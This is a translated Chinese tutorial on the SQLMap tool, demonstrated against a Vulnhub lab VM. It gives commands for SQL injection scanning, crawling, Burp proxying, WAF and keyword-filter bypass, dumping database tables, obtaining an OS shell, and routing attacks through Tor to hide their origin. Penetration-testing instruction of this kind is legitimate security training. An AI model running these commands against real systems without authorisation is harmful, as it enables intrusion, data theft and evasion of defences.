前言

SQLMap是每個滲透測試師的必備工具。這是眾多強大的主流工具之一,尤其是在測試OWASP Top 10中的SQL注入漏洞時。從掃描SQL注入漏洞到獲取數據庫名字、表和列,以及獲得系統訪問權限,其可被用于多種目的。

在本文中,我們將看到不同的SQLMap命令,在對不同場景下的SQL注入進行利用時可能會比較得心應手。

可以從如下鏈接下載SQLMap:

Windows

Linux: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

出于演示目的,我用的是Vulnhub上的這個虛擬機。

讓我們一起來看看SQLMap這款工具在GET和POST請求上的基本用法。

GET請求

  • sqlmap -u http://site-to-test.com/test.php?id=1 -p id
  • sqlmap -u http://site-to-test.com/test.php?id=1*
  • -u:要掃描的URL
  • -p:要掃描的字段
  • *:要掃描的字段(如果不用-p來指定的話)

POST請求

我們可以在SQLMap掃描中指定POST請求體中的數據。

  • sqlmap -u http://site-to-test.com/admin/index.php –data=”user=admin&password=admin” -p user
  • –data=POST數據

另外一種方式是復制Burp請求到一個文件里,然后同樣傳給SQLMap。

  • sqlmap –r 請求文件的路徑

讓我們再深入地了解一下SQLMap的其他選項。

掃描POST登錄頁面

POST請求的登錄頁面是通過cookie頭來進行身份認證的,也就是GET或者POST請求時,包含在HTTP頭里的。我們必須給SQLMap提供有效的cookie才能對登錄頁面的POST請求進行掃描。

  • sqlmap -u http://192.168.202.163/admin/index.php?id=1 –cookie=”cookie value

/admin/index.php?id=1 是一個登錄頁面的POST請求。

  • sqlmap -u http://192.168.202.163/admin/index.php?id=1 –user-agent=infosec
  • sqlmap -u http://192.168.202.163/admin/index.php?id=1 –referer= http://192.168.202.163/admin/index.php

除此以外,我們還可以通過–random-agent選項來隨機指定user-agent頭。

爬取

爬取(crawl)是一個非常重要的選項,可以讓SQLMap從網站根目錄開始爬取,爬取深度可以在命令中指定。

sqlmap -u http://192.168.202.160/ –crawl=1

–crawl: 指定爬取深度。(例如:指定值為2表示讓SQLMap最多爬取兩層目錄)

如果想排除爬取范圍內的任意頁面,我們可以通過使用–crawl-exclude參數。當爬取POST型的登錄頁面時,該選項十分有用。

  • sqlmap -u http://192.168.202.163/ –crawl=3 –cookie=”cookie value” –crawl-exclude=”logout”

該命令可以最多爬取三層目錄,并排除任何存在“logout”(注銷)關鍵字的URL。

如下圖所示,SQLMap爬取了網站,但是排除了注銷的URL。

去掉–crawl-exclude選項,再運行一次同樣的命令:

如下圖所示,去掉–crawl-exclude選項后,SQLMap爬取了注銷URL。該URL由于注銷會導致退出當前會話(session),失效的會話會導致無法完成掃描。

通過代理使用SQLMap

我們可以指定一個代理來記錄傳遞的請求。如果想通過Burp這樣的代理工具來傳遞請求,打開Burp Suite并配置其監聽本機的8080端口。接著使用如下SQLMap命令:

  • sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″

現在想象一下這樣的場景:當SQL注入關鍵字,比如OrderBy和Union,被服務器端加到黑名單了。對于這種場景,我們可以通過駝峰拼寫法來繞過這類限制。用SQLMap將流量轉發到Burp,然后用Burp的“匹配和替換(match and replace)”功能來繞過以上限制。

匹配和替換功能可以在Burp的“Proxy”標簽下的“Options”標簽下找到。

這樣就可以檢查請求中是否存在“union”這樣的關鍵字。如果存在,那么將其替換為“UnIoN”。

在某些網站只能通過代理服務器訪問的場景下,同樣可以用下面的命令來指定:

  • sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″ –proxy-cred=username:password

批(量)處理

批處理(batch)命令適用于非交互的會話。在掃描的時候,SQLMap可能會讓我們提供一些輸入:比如,在用爬取功能的時候,會問用戶是否想掃描指定的URL。當在命令中指定–batch選項時,SQLMap會用一個默認值來處理,而不再問用戶。

表單

存在表單字段的頁面URL(比如登錄頁面)可以通過–form選項來解析該頁面,并引導用戶去測試指定字段。

現在,可以通過–form和–batch選項一起來高效地測試存在大量表單字段的頁面了。因為這樣可以解析該頁面,并代替用戶自動提供輸入來測試這些表單字段。

如果想要掃描整個網站,可以同時用crawl和form選項。

線程

線程(threads)選項可以讓用戶指定SQLMap發送的并發請求數量,這樣可以減少整體的測試時間。不過別總是保持一個較高的值,因為可能會影響結果的準確性。

危險和級別(Risk and level)

危險(risk)可以指定SQLMap使用的payload類型。默認情況下值為1,最高可以設置為3。值為3時,就是最大值,包含了一些嚴重的SQL查詢。

級別(level)指定要執行的檢查或payload的數量。值的范圍時從1到5。最大值為5,掃描時會用到大量的payload。

當SQLMap使用默認設置無法掃描注入點時,建議增加risk和level的值。(譯者注:此舉存在風險【risk】)

詳細信息

假如我們想看看SQLMap發送的payload,可以用詳細信息(verbose)參數,其值范圍是從1到6。

數據庫枚舉

眾所周知,SQLMap主要用于對SQL注入的利用,一起來看看這些通過SQL注入漏洞來枚舉數據庫的命令。

 1. –dbs: 該選項用于枚舉數據庫。

2. 現在得到了數據庫名。要獲得“photoblog”數據庫的表,可以執行如下命令:

3. 要獲得“users”表中的字段細節,可以執行如下命令:

4. 要轉儲(dump)“users”這張表中的數據,可以用–dump命令:

5. 查看當前數據庫用戶:

6. 查看當前數據庫名:

7. 查看權限(privileges)、角色(roles),并查看當前數據庫用戶是否是數據庫管理員:

用tamper腳本繞過WAF

很多時候,我們會遇到網站被WAF(Web Application Firewall)保護的場景,我們可以用下面的命令來檢查目標網站是否被WAF保護:

  • –identify-waf (譯者注:新版本中已移除)

識別出WAF后,我們就可以用tamper腳本來進行繞過。tamper腳本可以修改請求來繞過WAF檢測。這些腳本可以在/usr/share/sqlmap/tmper/ 目錄下找到。

執行系統命令

如果當前數據庫用戶擁有DBA權限,我們就可以使用如下選項來執行操作系統級別的命令:

  • 對于Linux目標服務器:
  •  sqlmap -u http://192.168.202.162/cat.php?id=1 –os-shell
  • 對于Windows目標服務器:
  •  sqlmap -u http://192.168.202.162/cat.php?id=1 –os-cmd cmd命令

執行SQL查詢

我們還可以用下面的命令在數據庫中執行SQL語句:

  • sqlmap -u 192.168.202.164/cat.php?id=2 –sql-shell

其他選項

一些其他選項如下:

1. 掃描一些被類似Basic、NTLM和Digest這樣的HTTP身份認證保護的頁面:

  • sqlmap -u http://example.com/admin.aspx –auth-type Basic –auth-cred “admin:admin”

2. 掃描被基于密鑰認證保護的頁面:

  • sqlmap -u http://example.com/admin.aspx –auth-file=PEM證書或私鑰文件路徑

3. 隨機化發起攻擊的IP地址(在比如WAF檢測,或者為了增加被溯源的難度,隱藏攻擊來源等場景下很有用)。

使用默認的Tor(洋蔥路由)匿名網絡:

  • sqlmap -u http://example.com/admin.aspx –tor

指定Tor的端口:

  • sqlmap -u http://example.com/admin.aspx –tor-port=tor代理端口

4. 如果需要在每次HTTP請求之間延時:

  • sqlmap -u http://example.com/admin.aspx –delay=1 #延時1秒

5. 如果頁面被CSRF token保護,同樣可以用下面的命令:

  • sqlmap -u http://example.com/admin.aspx –csrf-token=csrf token

6. 在二階注入中,SQL注入的payload會被存儲在目標網站的數據庫中,之后在訪問其他頁面的時候被執行。我們指定一個SQLMap用來請求的已被注入的URL。然后讓SQLMap用如下命令來注入:

  • sqlmap -r /root/Desktop/Burp.txt –second-order “http://target/vulnerbalepage.php”

Burp.txt是包含將要用于測試的文件,其中包含注入點。

  • –second-order “URL” 指定的是每次注入后SQLMap去訪問的URL。

總結

在檢測和利用SQL注入漏洞方面,SQLMap是一個不錯的工具。其支持如此多的選項,開關以及可以創建并使用自定義腳本,讓它從眾多檢測SQL注入漏洞的開源工具中脫穎而出。